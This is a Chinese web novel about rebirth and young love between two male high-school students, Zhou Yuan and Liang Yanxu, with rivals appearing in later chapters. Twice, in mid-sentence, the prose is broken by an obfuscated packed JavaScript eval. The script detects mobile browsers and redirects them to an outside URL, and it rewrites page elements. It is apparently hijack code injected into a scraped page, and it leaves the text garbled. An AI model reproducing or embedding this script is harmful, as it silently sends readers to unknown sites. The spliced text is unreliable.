《青言原长》 1. 青春的你啊 阳光像细碎的金粉,穿过梧桐叶的缝隙,在周原布满沟壑的脸上,投下明明暗暗、晃动的光斑。他窝在门前藤椅里,指腹反复摩挲掌心那张泛黄照片,边角被岁月啃噬得卷了毛边,像段褪色的旧时光。 照片里,两个少年并肩立在老槐树下,同款白衬衫被风掀得轻晃,笑得小虎牙都跑出来,身后阳光亮得要流淌下来——那是十七岁的他,和梁言许。 “周爷爷!”清脆童音撞碎午后静谧,邻居小葫芦抱着皮球扑过来,圆脸蛋沾着草屑,活像只撒欢的小兽,“我妈让还打气筒!” 周原迟缓抬眼,浑浊目光定在孩子脸上半晌,才慢悠悠笑:“放桌上,乖。”声音像浸了沙的旧棉絮,沙沙糙糙。 小葫芦却黏上来,踮脚瞅照片:“这俩大哥哥谁呀?好看得像双胞胎!” “是……爷爷和爷爷的爱人。”周原喉结滚了滚,“爱人”二字轻得像羽毛,怕惊碎了藏在时光里的旧梦。 “爱人要结婚的呀!可他们都是男的!”小葫芦歪头,手指卷着衣角打卷。 周原把照片往怀里按了按,指尖停在梁言许笑脸上:“男的也能结婚,就像树少了半边枝桠,活不完整。”话音落,老槐树影在他脸上晃,把孤寂晃成了具象。 小葫芦懵懵懂懂点头,要再问,远处呵斥声炸雷似的响:“小葫芦!别往这跑!” 女人冲过来拽孩子,看周原的眼神,像看沾了灰的脏抹布。小葫芦挣扎着回头:“妈,周爷爷说男的也能……” “住嘴!”女人厉声截断,拽着孩子就走,碎碎念钻进周原耳朵:“老不正经……” 拖拽声渐远,周原望着空院门,把照片贴在胸口。风卷着落叶滚过脚边,他咳了两声,铁锈味从喉咙里漫上来——人老了,连咳嗽都带着腐朽气,像棵快枯的树。 “言许啊……”他对着空气喃喃,指尖摩挲照片上梁言许的笑脸,“要是当年勇敢些……”后半句被风扯碎,散在暮色里。 他独居的小院,四季轮回得格外用力。春末槐花漫院时,他摘最香的串,供在梁言许牌位前;夏夜蝉鸣吵嚷,他坐藤椅到后半夜,恍惚能听见十七岁的梁言许趴在窗台喊:“周原!看星星!”;深秋扫落叶,把金黄叶子夹进旧相册——那是梁言许最爱的季节;冬天下雪,他清出条小路,像当年天不亮就去学校,给梁言许扫出通往教室的路。 年三十晚上,镇子被烟花映成白昼。周原坐在冷掉的年夜饭前,摆着两副碗筷。春晚唱着团圆,他盯着对面空椅出神,想起很多年前除夕,梁言许偷跑出来,揣着热乎肉包,在他被窝里冻得直哆嗦,却笑:“周原,有你才像过年。” “言许啊……”他倒杯白酒洒地上,“我来找你了……”泪水砸在照片上,晕开小团水渍,像谁无声的哭。 再睁眼时,消毒水味儿刺得他皱眉。眼前是穿蓝白校服的少年,拿棉签往他胳膊涂碘伏,阳光从发梢漏下,在手背投碎金似的光斑。 “别动!结痂又蹭掉!”少年声音清清爽爽,带着少年人特有的脆亮。 周原心脏猛地一缩——是梁言许!十七岁的梁言许,没被病痛磨平棱角,眉梢眼角都是鲜活的、带刺的锐气。他本能攥住对方手腕,指节泛白,像抓住要溜走的光。 “言许……”他声音发颤,眼泪哗地涌出来,把年少时没敢流的、年老后咽下去的,全倒了出来。 梁言许吓一跳,棉签“啪嗒”掉地:“发什么疯!”要抽手,却被攥得更紧,只好无奈叹气,“涂个药至于哭?” 周原这才惊觉自己的手——骨节分明,皮肤光滑,没有老年斑、皱纹,年轻得能掐出水。低头看胳膊,伤口是昨天打球摔的,结痂还泛着红。 他回到了几十年前,梁言许还在,健康、鲜活,会跟他拌嘴,会在他生命里蹦跶。 “对不住……”周原猛地松手,指尖发麻,别过脸用袖子抹脸,喉咙紧得说不出话,像塞了团浸了水的棉花。 梁言许狐疑打量:“被球砸坏脑子了?”弯腰捡棉签扔垃圾桶,抽根新的,“自己涂吧,我上课去。”转身要走。 周原看着那道白衬衫背影,脱口喊:“等等!” 梁言许回头,挑眉。 周原心跳得要炸开,攥紧衣角:“晚上……一起吃饭?有家店土豆泥丸子特好吃。”声音抖得像秋风里的叶子。 梁言许愣了愣,嗤笑:“你啥时候这么好心?”顿了顿,却点头,“放学老地方见。” 医务室门合上,周原望着门板上少年影子,捂住脸笑,眼泪从指缝钻出来,滚烫。低头看掌心浅浅疤痕——当年替梁言许挡黑板擦留的,原来有些印记,刻在骨头上,多少年都消不掉。 他摸出手机,屏幕显示几十年前日期。点开备忘录,飞快敲下:带言许体检。 阳光斜照进来,在他年轻的脸镀金边。这一次,他要攥紧时光,不让任何人溜走。 抓起椅背上校服外套,周原脚步轻快冲出医务室。走廊里少年喧闹声像涨潮的海,他穿过人群,目光定在楼梯口——梁言许身影刚拐过转角,白衬衫衣角在风里轻扬,像朵要飘起来的云。 “言许!”他喊,带着笑,带着失而复得的珍重,声音撞在走廊墙上,弹成欢快的歌。 这一次,他要跑赢时间,把错过的、遗憾的,都攥进手心。 周原的脚步在楼梯上拖沓得厉害,每一步都碾在记忆碎片上,咯得脚心发酸。掌心沁出薄汗,把校服下摆攥出深深浅浅的褶皱,走廊里的喧闹漏进门缝,混着粉笔末的涩味——这是他记了大半辈子的、十七岁的味道,此刻却像根细针,一下下戳着心脏。 教室门虚掩,推开门的瞬间,目光像被磁石狠狠吸住,钉死在靠窗位置。梁言许低头刷题,阳光顺着他微垂的眼睫滑下来,在练习册上拓出一小片扇形阴影,安静又鲜活。旁边空位的桌角,刻着个歪扭“许”字,是当年梁言许走神时,拿圆规尖偷偷刻的,那会儿粉笔灰落在他发梢,他都没察觉。 “站门口当门神?”梁言许头也不抬,笔尖在纸上划出沙沙声,跟记忆里一模一样。 周原喉头发紧,慢吞吞挪到空位坐下,塑料椅吱呀轻响。他盯着梁言许握笔的手——骨节分明,指甲修得干净,不像后来被化疗啃成枯柴,起皮的纹路里嵌着洗不净的药味。 “看什么?”梁言许终于抬眼,熟悉的清亮眼神撞过来,“药涂歪了?”伸手要掀他袖子,却被周原猛地攥住手腕。 周原指腹滚烫,带着种颤抖的、近乎虔诚的力道。梁言许愣了愣,想抽手,就听他哑着嗓子说:“没歪,涂得挺好。”掌心相触的瞬间,电流窜过四肢,周原猛地松手,耳尖红得要滴血,低头盯着鞋尖,听见梁言许轻嗤:“神经病。”却瞥见他转身时,悄悄把椅子往自己这边挪了挪,椅腿蹭过地砖,发出极轻的“吱”声。 教室里渐渐静下来,夕阳把两人影子抻得老长,在地面交叠成一团模糊的墨。周原趴在桌上,看梁言许刷题的侧脸——他皱眉会习惯性咬下唇,解出难题时,嘴角会偷偷翘一下,像藏着颗甜葡萄。这些细微表情,在后来模糊的记忆里,曾是他对抗孤独的唯一光源,把漫漫长夜烫出一个个小洞。 “喂,”他忽然开口,“你信不信……人能回到过去?” 梁言许笔下一顿,转过来:“科幻片看多了?”从笔袋摸出根橘子味棒棒糖,剥开糖纸塞进他嘴里,“昨天打球撞坏脑子了?” 甜腻在舌尖炸开,周原含着糖含糊说:“我是说,如果能重来……” “重来什么?”梁言许转着笔,笔杆在指间灵活打转,“重来一次你还把球传给隔壁班卧底?” 周原没笑,定定看着他,看了好久,久到梁言许都不自在了,才听见他轻声说:“重来一次,我会早点找到你。” 窗外麻雀扑棱棱飞走,梁言许耳尖悄悄红了,转回去闷声:“莫名其妙。”笔却在草稿纸上,无意识画了两个挨得紧紧的小人,脑袋碰脑袋,像在说悄悄话。 放学铃响,梁言许收拾书包的动作顿了顿:“去吃火锅?校门口新开的,鸳鸯锅。” 周原猛地抬头,眼里的光差点溢出来。他记得这家店,后来梁言许总说,那天番茄汤底甜得发腻,却暖得胃里像揣了小太阳。可再后来,店关了,梁言许瘦得只剩一把骨头,躺在病房里说“想吃”时,连说话的力气都要抠搜着用。 冷风卷着雪籽扑过来,梁言许缩脖子,周原几乎本能地解下围巾,不由分说往他脖子上绕两圈。灰色围巾把梁言许半张脸埋进去,只剩双亮晶晶的眼睛:“你不冷?” “我火力旺。”周原攥住他露在外面的手,指尖冰凉,却握得死紧,像握住了要飘走的风筝线。 火锅店热气糊了眼镜,梁言许摘眼镜擦雾时,周原正盯着他发红的耳朵发呆。直到一片烫好的牛肉递到嘴边,才回过神,张口咬住时,不小心碰到梁言许指尖,两人都像被烫到似的缩回手,又不约而同笑起来,像两个做坏事被抓包的孩子。 “你慢点吃,没人抢。”梁言许声音有点抖,耳根红得要滴血,却把刚烫好的毛肚往他碗里堆。 周原嚼着牛肉,忽然想起很多年后,守在病房里,梁言许瘦得肋骨根根分明,吞咽都费劲,却还笑着说“想吃那家鸳鸯锅”。 可那时,店早关了,连锅底的香气,都成了回忆里抓不住的雾。 “我去拿饮料。”周原站起身,走到冰柜前却没开门。摸了摸口袋里的烟盒——重生前揣的最后一包,他盯着那包烟看了很久,烟盒上的折痕,还留着当年梁言许说“我不喜欢你抽烟”时,指尖捏出来的印子。转身扔进垃圾桶时,金属撞击声里,他听见自己轻轻说:“这次,不让你失望了。” 回去时,手里多了两瓶温热的牛奶。梁言许挑眉:“转性了?不喝可乐了?” “碳酸饮料不好。”周原拧开瓶盖递过去,“对骨头不好。” 梁言许接过牛奶的手顿了顿,忽然笑:“周原,你今天真的很奇怪。”仰头喝了一大口,喉结滚动的弧度在灯光下格外清晰,“不过……”舔了舔唇角奶渍,“比平时顺眼点。” 周原的心像被煮沸的火锅汤,咕嘟咕嘟冒泡。看着梁言许被热气熏红的脸颊,在心里悄悄说:言许,这次我一定看好你,一分一秒都不松开,把错过的、弄丢的,全攥回来。 窗外雪下大了,店里暖气裹着牛油香漫过来。梁言许正低头跟一片肥牛较劲,没注意到对面的周原,悄悄把他手机屏保,换成了两人刚才在门口拍的合照——梁言许皱着眉躲镜头,周原笑得露出小虎牙,背景里飘着细碎的雪花,像撒了把白糖。 火锅汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340949|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在锅里咕嘟冒泡,梁言许放下筷子,指尖蹭过发烫的耳垂:“我去买单。” 周原几乎条件反射地拽住他手腕,掌心温度烫得梁言许微微一颤。“我来。”声音发紧,像怕慢一秒人就会跑掉,起身时带倒椅腿,哐当一声响,在喧闹里炸开。 梁言许看着他急慌慌冲向收银台的背影,忍不住弯了弯唇角。这人今天总透着股执拗,却奇异地让人安心,像棵拼命往土里扎根的树。 周原回来时,手里攥着找零,指缝里夹着根糖葫芦,红彤彤的糖衣在灯光下泛着光。“给。”往梁言许手里塞,耳根还红着,“刚才路过看见的。” 梁言许咬了口,山楂的酸混着糖衣的甜在舌尖炸开,眯起眼睛笑:“你怎么知道我爱吃这个?” “猜的。”周原看着他嘴角沾着的糖渣,喉结滚了滚,伸手想擦,指尖快碰到时又猛地缩回来,假装挠了挠脸,却在转身时,把那点甜,偷偷藏进了眼睛里。 回校路上,梁言许解围巾时,绒毛扫过周原手背,像羽毛轻轻搔。“我回宿舍洗澡了。”他把围巾递过去,指尖不经意擦过对方掌心,烫得像揣了颗小太阳,“上来吧,正好帮我拿瓶沐浴露。” 宿舍楼道飘着洗衣粉的香味,周原跟在梁言许身后,看他校服外套下摆扫过台阶,忽然想起很多年后,也是这样跟在轮椅后面,看梁言许的病号服被风吹得猎猎作响,像面苍白的旗。 “发什么呆?”梁言许推开门,转身时差点撞上他,“进来啊。” 宿舍还是老样子,梁言许上铺挂着蓝白条纹床帘,周原下铺枕头边,堆着几本卷边的篮球杂志。梁言许脱了外套随手扔在床上,转身进浴室:“等我叫你拿浴巾。” 水声哗哗响起时,周原坐在床边,手指抚过床单褶皱。他记得这条床单,后来被梁言许的血染红过,洗了无数遍,那片暗沉的印记,像块褪不去的疤,在记忆里越挠越痒。 “周原!浴巾!” 猛地回神,抓起搭在椅背上的浴巾,走到浴室门口时,门没关严,留着道缝。水汽从缝里漫出来,混着沐浴露的清香,他刚要开口,视线透过缝隙,撞进一双湿漉漉的眼睛里。 梁言许正仰头冲头发,水珠顺着脖颈滑进锁骨窝,皮肤在水汽里泛着瓷白的光,像尊被雨打湿的瓷像。周原呼吸瞬间卡壳,血液像被煮沸,往头顶疯涌,手忙脚乱推开门缝,把浴巾往挂钩上一挂,转身就走,耳朵红得要滴血,脚步踉跄得像踩在云上。 浴室门轻轻合上,里面传来梁言许低低的笑声,像阵挠人的风,从门缝里溜出来,挠得人心尖发痒。 等梁言许裹着浴巾出来,周原正背对着门口,肩膀绷得笔直,像块要开裂的门板。“偷看够了?”梁言许故意逗他,擦头发的毛巾往他头上一盖,“脸怎么这么红?发烧了?” 周原猛地掀开毛巾,撞进对方带着笑意的眼睛里,喉结滚了滚:“没……没看。”声音小得像蚊子哼。 梁言许没拆穿他,弯腰从柜子里翻衣服时,浴巾往下滑了些,露出一小片腰腹,像块晃眼的白瓷片。周原的目光像被烫到,慌慌张张移开,盯着墙面上泛黄的海报,心跳得像要撞碎肋骨,把海报上的篮球明星,都震得跟着晃。 “我睡会儿。”他猛地躺下,用被子蒙住头,听见梁言许在上铺轻笑:“脸皮真薄。”接着是窸窸窣窣换衣声,床板微微晃动,像艘要靠岸的小船。 他数着自己的心跳,数到第一百二十七下时,听见梁言许的声音从上方飘下来:“周原,你冷吗?” 周原一愣,刚要回答,就见梁言许从上铺探下头,头发还湿着,水珠滴在他手背上,凉得像颗小珍珠。“我看你老发抖。”他拍了拍自己的床铺,“上来挤挤?” 周原几乎是连滚带爬地翻上铺,床板发出不堪重负的吱呀声,像头累坏的老牛。梁言许往里面挪了挪,给他腾出位置,刚想说什么,就被周原从背后紧紧抱住,少年的胸膛贴着他后背,呼吸滚烫地喷在颈窝,带着点糖葫芦的甜气,把整颗心都泡软了。 “我冷。”周原声音闷闷的,手臂收得更紧,像要把人揉进骨血里,把错过的时光,都补回来。 梁言许叹了口气,转过身回抱住他,掌心贴上他后颈:“确实凉。”手指穿过周原的发丝,轻轻摩挲,“睡会儿吧,晚自习叫你。” 周原把脸埋在他颈窝,鼻尖蹭过对方带着水汽的皮肤,沐浴露的清香里混着点淡淡的奶香,像小时候偷喝的牛奶,甜得让人想哭。他闭上眼睛,感受着怀中人温热的体温,像抱住了失而复得的整个世界,这次,再也不松手。 “言许。”他轻声唤,声音里带着点后怕的颤抖,像在求证一个不敢信的梦。 “嗯?”梁言许的声音像浸了蜜,黏糊糊的。 “别离开我。”周原把脸埋得更深,像只躲在壳里的蜗牛。 梁言许的动作顿了顿,随即轻笑出声,指尖轻轻敲了敲他的背:“睡你的吧,小傻子。”却悄悄收紧手臂,把他抱得更紧,像抱住了自己的全世界。 窗外的夕阳漫进床帘,把两人交叠的影子投在墙壁上,像幅模糊却温暖的老照片。周原闻着怀中人的气息,渐渐沉入梦乡,这一次,梦里没有消毒水的味道,没有病房里惨白的灯,只有少年带着笑意的眼睛,和永远不会褪色的、十七岁的阳光。 6. 情敌 糖画的甜还没在舌尖散尽,梁言许的手腕突然被人攥住。力道大得发疼,他踉跄着后退半步,撞进周原怀里。 “小土豆,跑这儿约会来了?”沈江的声音裹着夜市的油烟味,带着点不怀好意的笑。他的目光扫过梁言许无名指上的戒指,眼底掠过一丝阴翳,“这破玩意儿谁送的?不如我送你个金的。” 周原把梁言许往身后拽了拽,眼神冷得像淬了冰:“放开。” “急什么?”沈江松开手,却故意用指腹蹭了蹭梁言许的手腕,像在宣示什么,“我就是来跟梁言许打个招呼,毕竟……”他拖长了调子,视线在梁言许泛红的耳尖上打转,“我们也算不打不相识。” 梁言许往周原身后缩了缩,指尖攥紧了对方的衣角。周原的体温透过布料传过来,让他稍微定了定神:“我们不熟。” “不熟?”沈江笑了,从口袋里摸出几颗水果糖,剥开糖纸递过去,“尝尝?葡萄味的,你上次在器材室……” 话没说完,周原已经一拳挥了过去。沈江早有防备,侧身躲开,拳头擦着他的脸颊砸在身后的糖画摊上,糖浆溅了一地,像碎掉的星星。 “周原!”梁言许拉住他,生怕又打起来。 沈江舔了舔唇角,看着梁言许拉着周原的手,突然笑了:“行啊,护着他是吧?”他把那几颗糖塞进梁言许口袋里,动作快得让人躲不开,“记住了,我叫沈江,比他靠谱。” 说完,他转身融进人群,背影在霓虹灯影里晃了晃,没入卖烤冷面的白雾中。 梁言许掏出那颗糖,葡萄味的甜腻气钻进鼻腔,他皱着眉想扔掉,却被周原按住手。 “别扔。”周原的声音有点闷,他拿起那颗糖,掰成两半,一半塞进自己嘴里,一半递到梁言许嘴边,“甜吗?” 梁言许咬了一口,甜得发齁,却点了点头。 周原突然低头,在他唇角啄了一下,把那点甜味卷进自己嘴里:“没你甜。” 周围有人吹起口哨,梁言许的脸瞬间红透,推开他就往前走。 周原笑着追上去,故意撞了撞他的肩膀:“咋了?” “没事就有点热。”梁言许加快脚步,却没甩开他交握过来的手。 两人刚走到卖气球的摊位前,梁言许突然停下脚步。不远处的奶茶店门口,沈江正靠在栏杆上,手里捏着杯没开封的珍珠奶茶,目光直勾勾地盯着他们。见梁言许看过来,他还举了举杯,嘴角勾着抹说不清道不明的笑。 “别看了。”周原把梁言许的脸转过来,指腹捏了捏他的脸颊,“再看,我就把他奶茶扔了。” “幼稚。”梁言许拍开他的手,却忍不住又往那边瞥了一眼。沈江已经转身走进奶茶店,背影看着有点落寞。 周原顺着他的目光看去,突然叹了口气,从背后抱住他:“放心,他抢不走你。” 梁言许挣了挣,没挣开,只好任由他抱着:“谁担心这个了。” “那你脸红什么?”周原低头,鼻尖蹭着他的颈窝,“还是说……你对他有点意思?” “周原!”梁言许气鼓鼓地转过身,手里的糖画差点戳到他脸上,“你再胡说八道,我就把你土豆戒指扔了!” 周原连忙举手投降,眼底却藏着笑意:“好好好,我错了。”他拉着梁言许往夜市深处走,避开了奶茶店的方向,“去买糖葫芦?山楂的,酸死你。” 梁言许被他拽着往前走,口袋里的那颗葡萄糖硌得慌,他摸出来扔进垃圾桶,心里却莫名有点乱。 夜市尽头的烟花突然炸响,金红色的光映亮了半边天。周原停下脚步,转身捧住他的脸,在漫天烟火下吻了下去。 “梁言许,”他的声音混着烟花的轰鸣,却异常清晰,“你是我的。” 梁言许的心跳得飞快,在又一声烟花炸开时,轻轻“嗯”了一声。 不远处的巷口,沈江捏瘪了手里的奶茶杯,珍珠混着奶茶淌在地上,黏糊糊的像没说出口的话。他看着那对在烟火下拥抱的身影,骂了句脏话,转身消失在黑暗里。 烟花还在继续,把周原和梁言许的影子叠在一起,像枚被烫在夜色里的印章,清晰而滚烫。 烟花落尽时,巷子里的风卷着烤串的香味飘过来,梁言许的耳朵还红着,被周原牵着的手沁出点薄汗。 “回去吗?”周原捏了捏他的指尖,指腹摩挲过那枚戒指——是他托相熟的老工匠打的,内壁刻着两人名字的首字母,特意选了最细巧的款式,衬得梁言许的手指愈发秀气。 梁言许点点头,目光不自觉又往奶茶店的方向扫了眼,那里只剩空荡的栏杆,连沈江留下的奶茶杯都被清洁工收走了。 “还在想?”周原忽然停下,弯腰平视着他,路灯的光落在周原睫毛上,投下一小片阴影,“梁言许,器材室到底怎么回事?” 这个问题像颗没爆的烟花,在梁言许心里悬了好几天。他咬着下唇,指尖抠着周原的掌心:“就……上次体育课后我落了东西,回去拿的时候撞见他了。他说他脚崴了,让我扶他去医务室,结果……” “结果什么?”周原的声音沉了点。 “结果他突然拽住我,问我是不是跟真的喜欢你。”梁言许的声音越来越小,“我说关他什么事,他就笑,还塞了颗葡萄糖给我,说……说想追我。” 话音刚落,手腕就被周原攥紧了,力道却不重,更像种无声的委屈。梁言许抬头,正撞见周原眼底翻涌的情绪,像被搅乱的星子。 “那时候怎么不告诉我?” “我怕你生气。”梁言许小声说,“而且我当场就把糖扔了,还骂了他……” 周原忽然笑了,低头用额头抵着他的:“骂得好。”他顿了顿,声音软下来,“以后再有人欺负你,第一时间告诉我,听见没?” 梁言许“嗯”了一声,被他这突如其来的温柔弄得鼻子有点酸。 两人慢慢往巷口走,影子被路灯拉得老长,又在拐角处叠成一团。快到小区门口时,梁言许突然想起什么:“刚才糖画摊……赔了钱吗?” “赔了,老板挺好说话,还送了我根新的。”周原从口袋里摸出根没被碰坏的小兔子糖画,递到他嘴边,“吃吧,这次没碎。” 梁言许咬了口,焦糖的甜混着晚风的凉,心里那点乱糟糟的情绪好像被抚平了些。他含着糖说:“周原,你刚才吃醋的样子好傻。” “还不是因为你?”周原刮了下他的鼻尖,“被别人那么盯着看,还脸红。” “我那是被你亲的!”梁言许瞪他,脸颊却又热起来。 楼道里的声控灯随着脚步声亮起来,暖黄的光打在两人交握的手上。到了三楼,周原突然把他抵在门上,低头吻了吻他的发顶:“明天我来找你,带你去公园喂鸽子。” “好啊。”梁言许应着,口袋里的手机突然震动了下。他掏出来看,是条陌生号码的短信,只有一句话: “明天下午三点,老城的新华书店,我知道你喜欢那里的旧书。——沈江” 屏幕的光映着梁言许愣住的脸,周原凑过来看了眼,眉头瞬间皱起。他没说话,只是拿过梁言许的手机,手指飞快地按了几下,然后把手机塞回他口袋。 “删了。”周原的声音有点硬,却在看到梁言许抿起的唇时,又放软了语气,“别想了,明天我们先去公园,再去书店,我陪你慢慢挑。” 梁言许“嗯”了一声,推开门进去时,回头看了眼站在楼道里的周原。他还站在那里,路灯的光从窗户漏进来,在他身上镀了层金边,像个固执守护着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340954|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的骑士。 关上门的瞬间,梁言许靠在门板上,摸出手机。屏幕暗着,那条短信确实被删得干干净净。可沈江递糖时的眼神,还有刚才在奶茶店门口举着杯子的样子,却像葡萄味的糖精,黏在记忆里,甜得有点发苦。 窗外的烟花早就停了,夜空只剩下几颗疏星。梁言许走到窗边,往下看时,正看见周原转身下楼的背影,一步一步,走得很稳。 他忽然笑了笑,摸了摸无名指上的戒指,冰凉的金属贴着皮肤,却让人莫名安心。转身去洗漱时,他打定主意,明天要把所有注意力都放在周原身上,那些不该有的情绪,该像扔掉那颗葡萄糖一样,彻底丢进垃圾桶里。 月光从窗帘缝里溜进来,在梁言许的侧脸淌出一道银线。他睁着眼望着天花板,周原的影子总在眼前晃——那人吊儿郎当的笑,抢书包时的手忙脚乱,还有被戒尺打到时,疼得皱眉却偏要扯出的温柔。 心跳声在静夜里格外响,像有人在敲鼓。他翻了个身,把脸埋进枕头,想把那些乱糟糟的念头压下去,可越是用力,周原的声音就越清晰:"小土豆怎么做都好吃啊。" 窗外的风卷着落叶沙沙响,梁言许忽然摸到自己发烫的耳根。 同一时刻,周原正走在回家的路上。路灯把他的影子拉得又瘦又长,像条没精打采的狗。他踢着路边的石子,鞋跟敲地面的声音孤零零的。方才在夜市攥过梁言许手腕的掌心,似乎还留着点温热的触感。 "笨蛋。"他低头笑了声,石子被踢得老远,滚进暗处没了声响。要是能一直牵着就好了,他想。 城市的另一端,沈江坐在书桌前,指尖转着的圆珠笔忽然停住。他俯身抓起笔,在草稿纸空白处勾勾画画,线条很快勾勒出一个模糊的侧影——是梁言许低头看书时的样子,额前的碎发垂下来,笔尖在纸页上顿了顿,又添了几笔,把那抹专注的神态描得更清了些。 窗外的路灯透过纱窗照进来,在纸页上投下淡淡的网纹。沈江盯着画里的人,指腹摩挲过纸面,眼神沉得像化不开的墨。他忽然用笔尖在侧影旁画了个潦草的叉,力道重得几乎戳破纸背。 周原那副样子,凭什么总缠着梁言许?他捏紧了笔,骨节泛白。下学期的分班,他一定要与梁言许在一起。 草稿纸上的侧影旁,不知何时多了几道凌厉的线条,像在宣示着某种不容置疑的决心。沈江对着画纸勾了勾唇角,把笔帽按回去时,声音轻得只有自己能听见:"总会是我的。" 章婷南趴在阳台栏杆上,月光顺着她的发梢滑下来,在手腕上投下细碎的光斑。楼下的香樟树影影绰绰,风一吹,叶尖的月光就跟着晃,像她心里七上八下的鼓点。 手机屏幕还亮着,是下午存下的梁言许朋友圈照片——他站在图书馆门口,身后的玉兰开得正好。她对着照片看了半晌,指尖在屏幕上点了点,又赶紧缩回来,像怕惊扰了什么。 抽屉里躺着个手工缝制的星象挂坠,是她照着天文图鉴一针一线绣的,针脚歪歪扭扭,却把猎户座的腰带三星绣得格外亮。原本想在放学时塞给他,可远远看见他被周原缠着,话到了嘴边又咽了回去。 夜风带着点凉意,章婷南把挂坠握在手心,冰凉的布面被捂得渐渐发烫。她对着月亮轻轻说:"明天去他家附近的书店转转,应该......能碰到吧?" 月光落在她泛红的耳尖上,像给这份小心翼翼的期待,镀了层温柔的膜。 夜渐渐深了,万家灯火一盏盏熄灭。但梁言许不知道,有三双眼睛正朝着他的方向,揣着各自的心事醒着。 他翻了个身,把自己裹进被子里,周原那句"宝宝"突然又钻进来。窗外的月光动了动,像谁悄悄叹了口气。 这场藏在夜色里的拉扯,才刚刚开始。 7. 他与她争风对决 晨光刚漫过窗帘底边,梁言许还陷在暖被窝里。昨晚翻来覆去烙了半宿饼,此刻睫毛上像沾了胶水,怎么也睁不开。 他不知道,天还没亮透时,已经有人为他动了起来。 五点的小区还浸在蓝灰色里,周原套上运动服,运动鞋踩在露水打湿的跑道上,溅起细碎的凉意。跑够了三十分钟,他一头扎进街角的早餐铺,熟门熟路点了豆浆配糖糕——梁言许总说这家的糖糕炸得最酥。拎着早餐拐进花店时,老板娘正往桶里插新到的洋桔梗,他指尖点了点浅紫色那束:"要这个,包好看点。" 六点的沈江站在衣帽间,领带在颈间系了三次。镜中的青年一身浅灰西装,袖口露出的手表是上周特意挑的款式,表盘里的星纹图案,和梁言许笔记本上画的很像。他对着镜子喷了点雪松味的香水,指腹蹭过瓶身时,想起梁言许说过喜欢清冽的味道。 章婷南的台灯亮了整夜。凌晨四点缝完最后一针时,她对着星象挂坠打了个哈欠,猎户座的三颗腰带星被她用银线绣得闪闪发亮。把挂坠放进丝绒盒子的瞬间,天边已经泛出鱼肚白,她抓起外套就往外跑,帆布鞋踩在楼梯上噔噔响。 楼下的风带着晨露的湿意,周原拎着早餐和花站在单元门口,指尖悬在门铃上顿了顿,终究还是收了回来。他往台阶上挪了挪,把豆浆揣进怀里捂着——上次梁言说凉豆浆喝着烧心,得捂得温温的才好。浅紫色的洋桔梗被他靠在墙根,花瓣上的水珠在晨光里闪了闪,像谁没藏住的心事。 沈江的车悄无声息地停在路边,没按喇叭。他坐在车里,指尖轻点着方向盘,目光落在三楼的窗。西装袖口的星纹表针慢悠悠地转,他想起梁言许说过早晨起不来,索性就隔着段距离等着,反正时间还早。 章婷南攥着丝绒盒子在香樟树下站定,刚想往楼里走,就看见台阶上的周原。她脚步一顿,悄悄退到树后,把盒子往口袋里按了按。树影落在她鞋面上,和挂坠里的星轨图案重叠在一起,倒像是种无声的陪伴。 三个身影在晨光里各占一角,谁都没再往前。周原低头数着地砖缝里的草芽,沈江调小了车载音乐的音量,章婷南数着落在肩头的光斑。风从楼间穿过去,带着早餐的甜香、淡淡的雪松味,还有青草沾着的露水气,却谁也没惊动楼上那个还在酣睡的人。 阳光爬上三楼的窗台时,梁言许在梦里咂了咂嘴,好像闻到了糖糕的香味。楼下的三个人依旧静静等着,像在守护一场没做完的梦。 晨露还挂在香樟叶上时,三个人在单元楼前撞了个正着。 章婷南攥着口袋里的丝绒盒子,先开了口,声音里带着点被撞破心事的慌:“你们怎么在这儿?” “找梁言许。” 三个声音叠在一起,像颗小石子投进晨雾里。周原拎着早餐的手紧了紧,沈江刚停稳的车还没熄火,章婷南往树后缩了缩脚,气氛忽然就僵住了。 “你找他做什么?”周原先瞪向沈江,语气里带着刺,“别整天装模作样的,梁言许不喜欢那套。” 沈江掸了掸西装袖口,慢条斯理地回:“总比某些人只会闯祸强。”他瞥了眼周原怀里露出来的早餐袋,“上次把人书包扯烂的是谁?” “你他妈找打?”周原往前凑了半步,拳头捏得咯吱响。沈江也没退,两人之间的空气像要烧起来。 “够了!”章婷南突然提高了声音,攥着盒子的手指泛白,“你们这样吵,是想让他被吵醒吗?” 这话像盆冷水,浇得两人都愣了。周原的拳头松了松,沈江别开了视线,晨风吹过,带起洋桔梗的花瓣晃了晃。 章婷南深吸口气,声音软了些:“我们……都是想给他个惊喜吧?”她看了看周原怀里的花,又瞥了眼沈江车里露出来的野餐垫,“吵起来,反而会给他添麻烦的。” 周原低头踢了踢脚下的石子,闷声说:“我带了他爱吃的糖糕。” 沈江咳了声,打开后备箱:“我准备了些东西,想在楼下布置个小角落。” 章婷南犹豫了下,从口袋里摸出盒子,打开条缝让他们看:“我做了个星象挂坠,他之前说喜欢看星星。” 晨雾渐渐散了,阳光透过叶缝漏下来,在地上织出细碎的光。周原先往旁边挪了挪,给沈江腾出点地方:“那你快点弄,别弄出太大动静。” 沈江没应声,却加快了卸东西的动作。章婷南把盒子重新收好,帮周原扶了扶歪掉的花束:“洋桔梗挺好看的,他应该会喜欢。” 